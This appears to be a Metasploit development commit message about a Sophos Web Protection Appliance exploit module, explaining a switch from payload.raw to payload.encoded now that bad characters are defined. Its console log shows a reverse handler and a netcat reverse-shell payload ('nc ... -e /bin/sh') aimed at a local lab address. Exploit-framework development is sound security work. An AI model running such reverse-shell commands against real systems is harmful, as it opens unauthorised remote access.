Use payload.encoded because BadChars are defined

As @jlee-r7 and @hmoore-r7 have taught me, payload.raw shouldn't be needed if BadChars alre well defined, as is the case. I guess I was experiencing issues on my testings because I had BadChars incomplete, or maybe a typo I fixed after switch to payload.raw

By adding a print_status for payload.encoded and payload.raw at the starting of exploit method, indeed there isn't encoding due to badchars

```
msf exploit(sophos_wpa_sblistpack_exec) > rexploit
[*] Reloading module...
 
[*] Started reverse handler on 192.168.172.1:4444 
[*] payload.raw: nc 192.168.172.1 4444 -e /bin/sh 
[*] payload.encoded: nc 192.168.172.1 4444 -e /bin/sh 

```